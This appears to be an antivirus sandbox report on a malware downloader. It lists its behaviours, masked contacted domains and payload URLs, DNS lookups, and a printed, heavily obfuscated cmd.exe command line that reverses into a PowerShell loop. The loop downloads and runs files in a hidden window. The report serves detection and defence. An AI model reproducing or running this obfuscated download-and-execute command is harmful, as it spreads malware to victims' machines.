Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V^:^ON/C"^s^et I^5=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}{^hct^ac^}^;^ka^erb^;^Qj^B$^ ^m^etI-^ekovn^I^;)^QjB$ ^,v^qD^$(^e^l^i^Fd^ao^ln^wo^D.^fQT^$^{yr^t^{)Or^H^$ ni^ vqD^$(^hc^a^er^o^f;'exe.^'+jIa^$...
Network activity
Connects to
- 'bu####remedio.com':80
- 'sa###paints.com':80
- 'sa###paints.com':443
- '36##rips.pk':80
TCP
HTTP GET requests
- http://bu####remedio.com/t0GvzVYf
- http://sa###paints.com/AMtppDHuZ
- http://36##rips.pk/7wXfDqSc
Other
- 'sa###paints.com':443
UDP
- DNS ASK 3m###nhhang.com
- DNS ASK bu####remedio.com
- DNS ASK sa###paints.com
- DNS ASK ti###i.net.vn
- DNS ASK 36##rips.pk
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /V^:^ON/C"^s^et I^5=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}{^hct^ac^}^;^ka^erb^;^Qj^B$^ ^m^etI-^ekovn^I^;)^QjB$ ^,v^qD^$(^e^l^i^Fd^ao^ln^wo^D.^fQT^$^{yr^t^{)Or^H^$ ni^ vqD^$(^hc^a^er^o^f;'exe.^'+jIa^$...' (with hidden window)
